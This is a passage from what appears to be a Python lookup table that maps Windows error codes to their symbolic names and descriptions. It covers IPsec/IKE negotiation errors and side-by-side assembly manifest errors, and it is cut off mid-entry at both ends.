(\"ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR\", \"General processing error\"),\n        0x000035ed: (\"ERROR_IPSEC_IKE_TIMED_OUT\", \"Negotiation timed out\"),\n        0x000035ee: (\"ERROR_IPSEC_IKE_NO_CERT\", \"IKE failed to find valid machine certificate. Contact your Network Security Administrator about installing a valid certificate in the appropriate Certificate Store.\"),\n        0x000035ef: (\"ERROR_IPSEC_IKE_SA_DELETED\", \"IKE SA deleted by peer before establishment completed\"),\n        0x000035f0: (\"ERROR_IPSEC_IKE_SA_REAPED\", \"IKE SA deleted before establishment completed\"),\n        0x000035f1: (\"ERROR_IPSEC_IKE_MM_ACQUIRE_DROP\", \"Negotiation request sat in Queue too long\"),\n        0x000035f2: (\"ERROR_IPSEC_IKE_QM_ACQUIRE_DROP\", \"Negotiation request sat in Queue too long\"),\n        0x000035f3: (\"ERROR_IPSEC_IKE_QUEUE_DROP_MM\", \"Negotiation request sat in Queue too long\"),\n        0x000035f4: (\"ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM\", \"Negotiation request sat in Queue too long\"),\n        0x000035f5: (\"ERROR_IPSEC_IKE_DROP_NO_RESPONSE\", \"No response from peer\"),\n        0x000035f6: (\"ERROR_IPSEC_IKE_MM_DELAY_DROP\", \"Negotiation took too long\"),\n        0x000035f7: (\"ERROR_IPSEC_IKE_QM_DELAY_DROP\", \"Negotiation took too long\"),\n        0x000035f8: (\"ERROR_IPSEC_IKE_ERROR\", \"Unknown error occurred\"),\n        0x000035f9: (\"ERROR_IPSEC_IKE_CRL_FAILED\", \"Certificate Revocation Check failed\"),\n        0x000035fa: (\"ERROR_IPSEC_IKE_INVALID_KEY_USAGE\", \"Invalid certificate key usage\"),\n        0x000035fb: (\"ERROR_IPSEC_IKE_INVALID_CERT_TYPE\", \"Invalid certificate type\"),\n        0x000035fc: (\"ERROR_IPSEC_IKE_NO_PRIVATE_KEY\", \"IKE negotiation failed because the machine certificate used does not have a private key. IPsec certificates require a private key. Contact your Network Security administrator about replacing with a certificate that has a private key.\"),\n        0x000035fd: (\"ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY\", \"Simultaneous rekeys were detected.\"),\n        0x000035fe: (\"ERROR_IPSEC_IKE_DH_FAIL\", \"Failure in Diffie-Hellman computation\"),\n        0x000035ff: (\"ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED\", \"Don't know how to process critical payload\"),\n        0x00003600: (\"ERROR_IPSEC_IKE_INVALID_HEADER\", \"Invalid header\"),\n        0x00003601: (\"ERROR_IPSEC_IKE_NO_POLICY\", \"No policy configured\"),\n        0x00003602: (\"ERROR_IPSEC_IKE_INVALID_SIGNATURE\", \"Failed to verify signature\"),\n        0x00003603: (\"ERROR_IPSEC_IKE_KERBEROS_ERROR\", \"Failed to authenticate using Kerberos\"),\n        0x00003604: (\"ERROR_IPSEC_IKE_NO_PUBLIC_KEY\", \"Peer's certificate did not have a public key\"),\n        0x00003605: (\"ERROR_IPSEC_IKE_PROCESS_ERR\", \"Error processing error payload\"),\n        0x00003606: (\"ERROR_IPSEC_IKE_PROCESS_ERR_SA\", \"Error processing SA payload\"),\n        0x00003607: (\"ERROR_IPSEC_IKE_PROCESS_ERR_PROP\", \"Error processing Proposal payload\"),\n        0x00003608: (\"ERROR_IPSEC_IKE_PROCESS_ERR_TRANS\", \"Error processing Transform payload\"),\n        0x00003609: (\"ERROR_IPSEC_IKE_PROCESS_ERR_KE\", \"Error processing KE payload\"),\n        0x0000360a: (\"ERROR_IPSEC_IKE_PROCESS_ERR_ID\", \"Error processing ID payload\"),\n        0x0000360b: (\"ERROR_IPSEC_IKE_PROCESS_ERR_CERT\", \"Error processing Cert payload\"),\n        0x0000360c: (\"ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ\", \"Error processing Certificate Request payload\"),\n        0x0000360d: (\"ERROR_IPSEC_IKE_PROCESS_ERR_HASH\", \"Error processing Hash payload\"),\n        0x0000360e: (\"ERROR_IPSEC_IKE_PROCESS_ERR_SIG\", \"Error processing Signature payload\"),\n        0x0000360f: (\"ERROR_IPSEC_IKE_PROCESS_ERR_NONCE\", \"Error processing Nonce payload\"),\n        0x00003610: (\"ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY\", \"Error processing Notify payload\"),\n        0x00003611: (\"ERROR_IPSEC_IKE_PROCESS_ERR_DELETE\", \"Error processing Delete Payload\"),\n        0x00003612: (\"ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR\", \"Error processing VendorId payload\"),\n        0x00003613: (\"ERROR_IPSEC_IKE_INVALID_PAYLOAD\", \"Invalid payload received\"),\n        0x00003614: (\"ERROR_IPSEC_IKE_LOAD_SOFT_SA\", \"Soft SA loaded\"),\n        0x00003615: (\"ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN\", \"Soft SA torn down\"),\n        0x00003616: (\"ERROR_IPSEC_IKE_INVALID_COOKIE\", \"Invalid cookie received.\"),\n        0x00003617: (\"ERROR_IPSEC_IKE_NO_PEER_CERT\", \"Peer failed to send valid machine certificate\"),\n        0x00003618: (\"ERROR_IPSEC_IKE_PEER_CRL_FAILED\", \"Certification Revocation check of peer's certificate failed\"),\n        0x00003619: (\"ERROR_IPSEC_IKE_POLICY_CHANGE\", \"New policy invalidated SAs formed with old policy\"),\n        0x0000361a: (\"ERROR_IPSEC_IKE_NO_MM_POLICY\", \"There is no available Main Mode IKE policy.\"),\n        0x0000361b: (\"ERROR_IPSEC_IKE_NOTCBPRIV\", \"Failed to enabled TCB privilege.\"),\n        0x0000361c: (\"ERROR_IPSEC_IKE_SECLOADFAIL\", \"Failed to load SECURITY.DLL.\"),\n        0x0000361d: (\"ERROR_IPSEC_IKE_FAILSSPINIT\", \"Failed to obtain security function table dispatch address from SSPI.\"),\n        0x0000361e: (\"ERROR_IPSEC_IKE_FAILQUERYSSP\", \"Failed to query Kerberos package to obtain max token size.\"),\n        0x0000361f: (\"ERROR_IPSEC_IKE_SRVACQFAIL\", \"Failed to obtain Kerberos server credentials for ISAKMP/ERROR_IPSEC_IKE service. Kerberos authentication will not function. The most likely reason for this is lack of domain membership. This is normal if your computer is a member of a workgroup.\"),\n        0x00003620: (\"ERROR_IPSEC_IKE_SRVQUERYCRED\", \"Failed to determine SSPI principal name for ISAKMP/ERROR_IPSEC_IKE service (QueryCredentialsAttributes).\"),\n        0x00003621: (\"ERROR_IPSEC_IKE_GETSPIFAIL\", \"Failed to obtain new SPI for the inbound SA from IPsec driver. The most common cause for this is that the driver does not have the correct filter. Check your policy to verify the filters.\"),\n        0x00003622: (\"ERROR_IPSEC_IKE_INVALID_FILTER\", \"Given filter is invalid\"),\n        0x00003623: (\"ERROR_IPSEC_IKE_OUT_OF_MEMORY\", \"Memory allocation failed.\"),\n        0x00003624: (\"ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED\", \"Failed to add Security Association to IPsec Driver. The most common cause for this is if the IKE negotiation took too long to complete. If the problem persists, reduce the load on the faulting machine.\"),\n        0x00003625: (\"ERROR_IPSEC_IKE_INVALID_POLICY\", \"Invalid policy\"),\n        0x00003626: (\"ERROR_IPSEC_IKE_UNKNOWN_DOI\", \"Invalid DOI\"),\n        0x00003627: (\"ERROR_IPSEC_IKE_INVALID_SITUATION\", \"Invalid situation\"),\n        0x00003628: (\"ERROR_IPSEC_IKE_DH_FAILURE\", \"Diffie-Hellman failure\"),\n        0x00003629: (\"ERROR_IPSEC_IKE_INVALID_GROUP\", \"Invalid Diffie-Hellman group\"),\n        0x0000362a: (\"ERROR_IPSEC_IKE_ENCRYPT\", \"Error encrypting payload\"),\n        0x0000362b: (\"ERROR_IPSEC_IKE_DECRYPT\", \"Error decrypting payload\"),\n        0x0000362c: (\"ERROR_IPSEC_IKE_POLICY_MATCH\", \"Policy match error\"),\n        0x0000362d: (\"ERROR_IPSEC_IKE_UNSUPPORTED_ID\", \"Unsupported ID\"),\n        0x0000362e: (\"ERROR_IPSEC_IKE_INVALID_HASH\", \"Hash verification failed\"),\n        0x0000362f: (\"ERROR_IPSEC_IKE_INVALID_HASH_ALG\", \"Invalid hash algorithm\"),\n        0x00003630: (\"ERROR_IPSEC_IKE_INVALID_HASH_SIZE\", \"Invalid hash size\"),\n        0x00003631: (\"ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG\", \"Invalid encryption algorithm\"),\n        0x00003632: (\"ERROR_IPSEC_IKE_INVALID_AUTH_ALG\", \"Invalid authentication algorithm\"),\n        0x00003633: (\"ERROR_IPSEC_IKE_INVALID_SIG\", \"Invalid certificate signature\"),\n        0x00003634: (\"ERROR_IPSEC_IKE_LOAD_FAILED\", \"Load failed\"),\n        0x00003635: (\"ERROR_IPSEC_IKE_RPC_DELETE\", \"Deleted via RPC call\"),\n        0x00003636: (\"ERROR_IPSEC_IKE_BENIGN_REINIT\", \"Temporary state created to perform reinitialization. This is not a real failure.\"),\n        0x00003637: (\"ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY\", \"The lifetime value received in the Responder Lifetime Notify is below the Windows 2000 configured minimum value. Please fix the policy on the peer machine.\"),\n        0x00003638: (\"ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION\", \"The recipient cannot handle version of IKE specified in the header.\"),\n        0x00003639: (\"ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN\", \"Key length in certificate is too small for configured security requirements.\"),\n        0x0000363a: (\"ERROR_IPSEC_IKE_MM_LIMIT\", \"Max number of established MM SAs to peer exceeded.\"),\n        0x0000363b: (\"ERROR_IPSEC_IKE_NEGOTIATION_DISABLED\", \"IKE received a policy that disables negotiation.\"),\n        0x0000363c: (\"ERROR_IPSEC_IKE_QM_LIMIT\", \"Reached maximum quick mode limit for the main mode. New main mode will be started.\"),\n        0x0000363d: (\"ERROR_IPSEC_IKE_MM_EXPIRED\", \"Main mode SA lifetime expired or peer sent a main mode delete.\"),\n        0x0000363e: (\"ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID\", \"Main mode SA assumed to be invalid because peer stopped responding.\"),\n        0x0000363f: (\"ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH\", \"Certificate doesn't chain to a trusted root in IPsec policy.\"),\n        0x00003640: (\"ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID\", \"Received unexpected message ID.\"),\n        0x00003641: (\"ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD\", \"Received invalid authentication offers.\"),\n        0x00003642: (\"ERROR_IPSEC_IKE_DOS_COOKIE_SENT\", \"Sent DoS cookie notify to initiator.\"),\n        0x00003643: (\"ERROR_IPSEC_IKE_SHUTTING_DOWN\", \"IKE service is shutting down.\"),\n        0x00003644: (\"ERROR_IPSEC_IKE_CGA_AUTH_FAILED\", \"Could not verify binding between CGA address and certificate.\"),\n        0x00003645: (\"ERROR_IPSEC_IKE_PROCESS_ERR_NATOA\", \"Error processing NatOA payload.\"),\n        0x00003646: (\"ERROR_IPSEC_IKE_INVALID_MM_FOR_QM\", \"Parameters of the main mode are invalid for this quick mode.\"),\n        0x00003647: (\"ERROR_IPSEC_IKE_QM_EXPIRED\", \"Quick mode SA was expired by IPsec driver.\"),\n        0x00003648: (\"ERROR_IPSEC_IKE_TOO_MANY_FILTERS\", \"Too many dynamically added IKEEXT filters were detected.\"),\n        0x00003649: (\"ERROR_IPSEC_IKE_NEG_STATUS_END\", \" ERROR_IPSEC_IKE_NEG_STATUS_END\"),\n        0x0000364a: (\"ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL\", \"NAP reauth succeeded and must delete the dummy NAP IKEv2 tunnel.\"),\n        0x0000364b: (\"ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE\", \"Error in assigning inner IP address to initiator in tunnel mode.\"),\n        0x0000364c: (\"ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING\", \"Require configuration payload missing.\"),\n        0x0000364d: (\"ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING\", \"A negotiation running as the security principle who issued the connection is in progress\"),\n        0x0000364e: (\"ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS\", \"SA was deleted due to IKEv1/AuthIP co-existence suppress check.\"),\n        0x0000364f: (\"ERROR_IPSEC_IKE_RATELIMIT_DROP\", \"Incoming SA request was dropped due to peer IP address rate limiting.\"),\n        0x00003650: (\"ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE\", \"Peer does not support MOBIKE.\"),\n        0x00003651: (\"ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE\", \"SA establishment is not authorized.\"),\n        0x00003652: (\"ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE\", \"SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential.\"),\n        0x00003653: (\"ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY\", \"SA establishment is not authorized.  You may need to enter updated or different credentials such as a smartcard.\"),\n        0x00003654: (\"ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE\", \"SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential. This might be related to certificate-to-account mapping failure for the SA.\"),\n        0x00003655: (\"ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END\", \" ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END\"),\n        0x00003656: (\"ERROR_IPSEC_BAD_SPI\", \"The SPI in the packet does not match a valid IPsec SA.\"),\n        0x00003657: (\"ERROR_IPSEC_SA_LIFETIME_EXPIRED\", \"Packet was received on an IPsec SA whose lifetime has expired.\"),\n        0x00003658: (\"ERROR_IPSEC_WRONG_SA\", \"Packet was received on an IPsec SA that does not match the packet characteristics.\"),\n        0x00003659: (\"ERROR_IPSEC_REPLAY_CHECK_FAILED\", \"Packet sequence number replay check failed.\"),\n        0x0000365a: (\"ERROR_IPSEC_INVALID_PACKET\", \"IPsec header and/or trailer in the packet is invalid.\"),\n        0x0000365b: (\"ERROR_IPSEC_INTEGRITY_CHECK_FAILED\", \"IPsec integrity check failed.\"),\n        0x0000365c: (\"ERROR_IPSEC_CLEAR_TEXT_DROP\", \"IPsec dropped a clear text packet.\"),\n        0x0000365d: (\"ERROR_IPSEC_AUTH_FIREWALL_DROP\", \"IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign.\"),\n        0x0000365e: (\"ERROR_IPSEC_THROTTLE_DROP\", \"IPsec dropped a packet due to DoS throttling.\"),\n        0x00003665: (\"ERROR_IPSEC_DOSP_BLOCK\", \"IPsec DoS Protection matched an explicit block rule.\"),\n        0x00003666: (\"ERROR_IPSEC_DOSP_RECEIVED_MULTICAST\", \"IPsec DoS Protection received an IPsec specific multicast packet which is not allowed.\"),\n        0x00003667: (\"ERROR_IPSEC_DOSP_INVALID_PACKET\", \"IPsec DoS Protection received an incorrectly formatted packet.\"),\n        0x00003668: (\"ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED\", \"IPsec DoS Protection failed to look up state.\"),\n        0x00003669: (\"ERROR_IPSEC_DOSP_MAX_ENTRIES\", \"IPsec DoS Protection failed to create state because the maximum number of entries allowed by policy has been reached.\"),\n        0x0000366a: (\"ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED\", \"IPsec DoS Protection received an IPsec negotiation packet for a keying module which is not allowed by policy.\"),\n        0x0000366b: (\"ERROR_IPSEC_DOSP_NOT_INSTALLED\", \"IPsec DoS Protection has not been enabled.\"),\n        0x0000366c: (\"ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES\", \"IPsec DoS Protection failed to create a per internal IP rate limit queue because the maximum number of queues allowed by policy has been reached.\"),\n        0x000036b0: (\"ERROR_SXS_SECTION_NOT_FOUND\", \"The requested section was not present in the activation context.\"),\n        0x000036b1: (\"ERROR_SXS_CANT_GEN_ACTCTX\", \"The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail.\"),\n        0x000036b2: (\"ERROR_SXS_INVALID_ACTCTXDATA_FORMAT\", \"The application binding data format is invalid.\"),\n        0x000036b3: (\"ERROR_SXS_ASSEMBLY_NOT_FOUND\", \"The referenced assembly is not installed on your system.\"),\n        0x000036b4: (\"ERROR_SXS_MANIFEST_FORMAT_ERROR\", \"The manifest file does not begin with the required tag and format information.\"),\n        0x000036b5: (\"ERROR_SXS_MANIFEST_PARSE_ERROR\", \"The manifest file contains one or more syntax errors.\"),\n        0x000036b6: (\"ERROR_SXS_ACTIVATION_CONTEXT_DISABLED\", \"The application attempted to activate a disabled activation context.\"),\n        0x000036b7: (\"ERROR_SXS_KEY_NOT_FOUND\", \"The requested lookup key was not found in any active activation context.\"),\n        0x000036b8: (\"ERROR_SXS_VERSION_CONFLICT\", \"A component version required by the application conflicts with another component version already active.\"),\n        0x000036b9: (\"ERROR_SXS_WRONG_SECTION_TYPE\", \"The type requested activation context section does not match the query API used.\"),\n        0x000036ba: (\"ERROR_SXS_THREAD_QUERIES_DISABLED\", \"Lack of system resources has required isolated activation to be disabled for the current thread of execution.\"),\n        0x000036bb: (\"ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET\", \"An attempt to set the process default activation context failed because the process default activation context was already set.\"),\n        0x000036bc: (\"ERROR_SXS_UNKNOWN_ENCODING_GROUP\", \"The encoding group identifier specified is not recognized.\"),\n        0x000036bd: (\"ERROR_SXS_UNKNOWN_ENCODING\", \"The encoding requested is not recognized.\"),\n        0x000036be: (\"ERROR_SXS_INVALID_XML_NAMESPACE_URI\", \"The manifest contains a reference to an invalid URI.\"),\n        0x000036bf: (\"ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED\", \"The application manifest contains a reference to a dependent assembly which is not installed\"),\n        0x000036c0: (\"ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED\", \"The manifest for an assembly used by the application has a reference to a dependent assembly which is not installed\"),\n        0x000036c1: (\"ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE\", \"The manifest contains an attribute for the assembly identity which is not valid.\"),\n        0x000036c2: (\"ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE\", \"The manifest is missing the required default namespace specification on the assembly element.\"),\n        0x000036c3: (\"ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE\", \"The manifest has a default namespace specified on the assembly element but its value is not 'urn:schemas-microsoft-com:asm.v1'.\"),\n        0x000036c4: (\"ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT\", \"The private manifest probed has crossed a path with an unsupported reparse point.\"),\n        0x000036c5: (\"ERROR_SXS_DUPLICATE_DLL_NAME\", \"Two or more components referenced directly or indirectly by the application manifest have files by the same name.\"),\n        0x000036c6: (\"ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME\", \"Two or more components referenced directly or indirectly by the application manifest have window classes with the same name.\"),\n        0x000036c7: (\"ERROR_SXS_DUPLICATE_CLSID\", \"Two or more components referenced directly or indirectly by the application manifest have the same COM server CLSIDs.\"),\n        0x000036c8: (\"ERROR_SXS_DUPLICATE_IID\", \"Two or more components referenced directly or indirectly by the application manifest have proxies for the same COM interface IIDs.\"),\n        0x000036c9: (\"ERROR_SXS_DUPLICATE_TLBID\", \"Two or more components referenced directly or indirectly by the application manifest have the same COM type library TLBIDs.\"),\n        0x000036ca: (\"ERROR_SXS_DUPLICATE_PROGID\", \"Two or more components referenced directly or indirectly by the application manifest have the same COM ProgIDs.\"),\n        0x000036cb: (\"ERROR_SXS_DUPLICATE_ASSEMBLY_NAME\", \"Two or more components referenced directly or indirectly by the application manifest are different versions of the same component which is not permitted.\"),\n        0x000036cc: (\"ERROR_SXS_FILE_HASH_MISMATCH\", \"A component's file does not match the verification information present in the component manifest.\"),\n        0x000036cd: (\"ERROR_SXS_POLICY_PARSE_ERROR\", \"The policy manifest contains one or more syntax errors.\"),\n        0x000036ce: (\"ERROR_SXS_XML_E_MISSINGQUOTE\", \"Manifest Parse Error : A string literal was expected, but no opening quote character was found.\"),\n        0x000036cf: (\"ERROR_SXS_XML_E_COMMENTSYNTAX\", \"Manifest Parse Error : Incorrect syntax was used in a comment.\"),\n        0x000036d0: (\"ERROR_SXS_XML_E_BADSTARTNAMECHAR\", \"Manifest Parse Error : A name was started with an invalid character.\"),\n        0x000036d1: (\"ERROR_SXS_XML_E_BADNAMECHAR\", \"Manifest Parse Error : A name contained an invalid character.\"),\n        0x000036d2: (\"ERROR_SXS_XML_E_BADCHARINSTRING\", \"Manifest Parse Error : A string literal contained an invalid character.\"),\n        0x000036d3: (\"ERROR_SXS_XML_E_XMLDECLSYNTAX\", \"Manifest Parse Error : Invalid syntax for an xml declaration.\"),\n        0x000036d4: (\"ERROR_SXS_XML_E_BADCHARDATA\", \"Manifest Parse Error : An Invalid character was found in text content.\"),\n        0x000036d5: (\"ERROR_SXS_XML_E_MISSINGWHITESPACE\", \"Manifest Parse Error : Required white space was missing.\"),\n        0x000036d6: (\"ERROR_SXS_XML_E_EXPECTINGTAGEND\", \"Manifest Parse Error : The character '>' was expected.\"),\n        0x000036d7: (\"ERROR_SXS_XML_E_MISSINGSEMICOLON\", \"Manifest Parse Error : A semi colon character was expected.\"),\n        0x000036d8: (\"ERROR_SXS_XML_E_UNBALANCEDPAREN\", \"Manifest Parse Error : Unbalanced parentheses.\"),\n        0x000036d9: (\"ERROR_SXS_XML_E_INTERNALERROR\", \"Manifest Parse Error : Internal error.\"),\n        0x000036da: (\"ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE\", \"Manifest Parse Error : Whitespace is not allowed at this location.\"),\n        0x000036db: (\"ERROR_SXS_XML_E_INCOMPLETE_ENCODING\", \"Manifest Parse Error : End of file reached in invalid state for current encoding.\"),\n        0x000036dc: (\"ERROR_SXS_XML_E_MISSING_PAREN\", \"Manifest Parse Error : Missing parenthesis.\"),\n        0x000036dd: (\"ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE\", \"Manifest Parse Error : A single or double closing quote character (\\' or \\\") is missing.\"),\n        0x000036de: (\"ERROR_SXS_XML_E_MULTIPLE_COLONS\", \"Manifest Parse Error : Multiple colons are not allowed in a name.\"),\n        0x000036df: (\"ERROR_SXS_XML_E_INVALID_DECIMAL\", \"Manifest Parse Error : Invalid character for decimal digit.\"),\n        0x000036e0: (\"ERROR_SXS_XML_E_INVALID_HEXIDECIMAL\", \"Manifest Parse Error : Invalid character for hexadecimal digit.\"),\n        0x000036e1: (\"ERROR_SXS_XML_E_INVALID_UNICODE\", \"Manifest Parse Error : Invalid unicode character value for this platform.\"),\n        0x000036e2: (\"ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK\", \"Manifest Parse Error : Expecting whitespace or '?'.\"),\n        0x000036e3: (\"ERROR_SXS_XML_E_UNEXPECTEDENDTAG\", \"Manifest Parse Error : End tag was not expected at this location.\"),\n        0x000036e4: (\"ERROR_SXS_XML_E_UNCLOSEDTAG\", \"Manifest Parse Error : The following tags were not closed: %1.\"),\n        0x000036e5: (\"ERROR_SXS_XML_E_DUPLICATEATTRIBUTE\", \"Manifest Parse Error : Duplicate attribute.\"),\n        0x000036e6: (\"ERROR_SXS_XML_E_MULTIPLEROOTS\", \"Manifest Parse Error : Only one top level element is allowed in an XML document.\"),\n        0x000036e7: (\"ERROR_SXS_XML_E_INVALIDATROOTLEVEL\", \"Manifest Parse Error : Invalid at the top level of the document.\"),\n        0x000036e8: (\"ERROR_SXS_XML_E_BADXMLDECL\", \"Manifest Parse Error : Invalid xml declaration.\"),\n        0x000036e9: (\"ERROR_SXS_XML_E_MISSINGROOT\", \"Manifest Parse Error : XML document must have a top level element.\"),\n        0x000036ea: (\"ERROR_SXS_XML_E_UNEXPECTEDEOF\", \"Manifest Parse Error : Unexpected end of file.\"),\n        0x000036eb: (\"ERROR_SXS_XML_E_BADPEREFINSUBSET\", \"Manifest Parse Error : Parameter entities cannot be used inside markup declarations in an internal subset.\"),\n        0x000036ec: (\"ERROR_SXS_XML_E_UNCLOSEDSTARTTAG\", \"Manifest Parse Error : Element was not closed.\"),\n        0x000036ed: (\"ERROR_SXS_XML_E_UNCLOSEDENDTAG\", \"Manifest Parse Error : End element was missing the character '>'.\"),\n        0x000036ee: (\"ERROR_SXS_XML_E_UNCLOSEDSTRING\", \"Manifest Parse Error : A string literal was not closed.\"),\n        0x000036ef: (\"ERROR_SXS_XML_E_UNCLOSEDCOMMENT\", \"Manifest Parse Error : A comment was not closed.\"),\n        0x000036f0: (\"ERROR_SXS_XML_E_UNCLOSEDDECL\", \"Manifest Parse Error : A declaration was not closed.\"),\n        0x000036f1: (\"ERROR_SXS_XML_E_UNCLOSEDCDATA\", \"Manifest Parse Error : A CDATA section was not closed.\"),\n        0x000036f2: (\"ERROR_SXS_XML_E_RESERVEDNAMESPACE\", \"Manifest Parse Error : The namespace prefix is not allowed to start with the reserved string 'xml'.\"),\n        0x000036f3: (\"ERROR_SXS_XML_E_INVALIDENCODING\", \"Manifest Parse Error : System does not support the specified encoding.\"),\n        0x000036f4: (\"ERROR_SXS_XML_E_INVALIDSWITCH\", \"Manifest Parse Error : Switch from current encoding to specified encoding not supported.\"),\n        0x000036f5: (\"ERROR_SXS_XML_E_BADXMLCASE\", \"Manifest Parse Error : The name 'xml' is reserved and must be lower case.\"),\n        0x000036f6: (\"ERROR_SXS_XML_E_INVALID_STANDALONE\", \"Manifest Parse Error : The standalone attribute must have the value 'yes' or 'no'.\"),\n        0x000036f7: (\"ERROR_SXS_XML_E_UNEXPECTED_STANDALONE\", \"Manifest Parse Error : The standalone attribute cannot be used in external entities.\"),\n        0x000036f8: (\"ERROR_SXS_XML_E_INVALID_VERSION\", \"Manifest Parse Error : Invalid version number.\"),\n        0x000036f9: (\"ERROR_SXS_XML_E_MISSINGEQUALS\", \"Manifest Parse Error : Missing equals sign between attribute and attribute value.\"),\n        0x000036fa: (\"ERROR_SXS_PROTECTION_RECOVERY_FAILED\", \"Assembly Protection Error : Unable to recover the specified assembly.\"),\n        0x000036fb: (\"ERROR_SXS_PROTECTION_PUBLIC_KEY_TOO_SHORT\", \"Assembly Protection Error : The public key for an assembly was too short to be allowed.\"),\n        0x000036fc: (\"ERROR_SXS_PROTECTION_CATALOG_NOT_VALID\", \"Assembly Protection Error : The catalog for an assembly is not valid, or does not match the assembly's manifest.\"),\n        0x000036fd: (\"ERROR_SXS_UNTRANSLATABLE_HRESULT\", \"An HRESULT could not be translated to a corresponding Win32 error code.\"),\n        0x000036fe: (\"ERROR_SXS_PROTECTION_CATALOG_FILE_MISSING\", \"Assembly Protection Error : The catalog for an assembly is missing.\"),\n        0x000036ff: (\"ERROR_SXS_MISSING_ASSEMBLY_IDENTITY_ATTRIBUTE\", \"The supplied assembly identity is missing one or more attributes which must be present in this context.\"),\n        0x00003700: (\"ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE_NAME\", \"The supplied assembly identity has one or more attribute names that contain characters not permitted in XML names.\"),\n        0x00003701: (\"ERROR_SXS_ASSEMBLY_MISSING\", \"The referenced assembly could not be found.\"),\n        0x00003702: (\"ERROR_SXS_CORRUPT_ACTIVATION_STACK\", \"The activation context activation stack for the running thread of execution is corrupt.\"),\n        0x00003703: (\"ERROR_SXS_CORRUPTION\", \"The application isolation metadata for this process or thread has become corrupt.\"),\n        0x00003704: (\"ERROR_SXS_EARLY_DEACTIVATION\", \"The activation context being deactivated is not the most recently activated one.\"),\n        0x00003705: (\"ERROR_SXS_INVALID_DEACTIVATION\", \"The activation context being deactivated is not active for the current thread of execution.\"),\n        0x00003706: (\"ERROR_SXS_MULTIPLE_DEACTIVATION\", \"The activation context being deactivated has already been deactivated.\"),\n        0x00003707: (\"ERROR_SXS_PROCESS_TERMINATION_REQUESTED\", \"A component used by the isolation facility has requested to terminate the process.\"),\n        0x00003708: (\"ERROR_SXS_RELEASE_ACTIVATION_CONTEXT\", \"A kernel mode component is releasing a reference on an activation context.\"),\n        0x00003709: (\"ERROR_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY\", \"The activation context of system default assembly could not be generated.\"),\n        0x0000370a: (\"ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE\", \"The value of an attribute in an identity is not within the legal range.\"),\n        0x0000370b: (\"ERROR_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME\", \"The name of an attribute in an identity is not within the legal range.\"),\n        0x0000370c: (\"ERROR_SXS_IDENTITY_DUPLICATE_ATTRIBUTE\", \"An identity contains two definitions for the same attribute.\"),\n        0x0000370d: (\"ERROR_SXS_IDENTITY_PARSE_ERROR\", \"The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, missing attribute name or missing attribute value.\"),\n        0x0000370e: (\"ERROR_MALFORMED_SUBSTITUTION_STRING\", \"A string containing localized substitutable content was malformed. Either a dollar sign ($) was followed by something other than a left parenthesis or another dollar sign or an substitution's right parenthesis was not found.\"),\n        0x0000370f: (\"ERROR_SXS_INCORRECT_PUBLIC_KEY_TOKEN\", \"The public key token does not correspond to the public key specified.\"),\n        0x00003710: (\"ERROR_UNMAPPED_SUBSTITUTION_STRING\", \"A substitution string had no mapping.\"),\n        0x00003711: (\"ERROR_SXS_ASSEMBLY_NOT_LOCKED\", \"The component must be locked before making the request.\"),\n        0x00003712: (\"ERROR_SXS_COMPONENT_STORE_CORRUPT\", \"The component store has been corrupted.\"),\n        0x00003713: (\"ERROR_ADVANCED_INSTALLER_FAILED\", \"An advanced installer failed during setup or servicing.\"),\n        0x00003714: 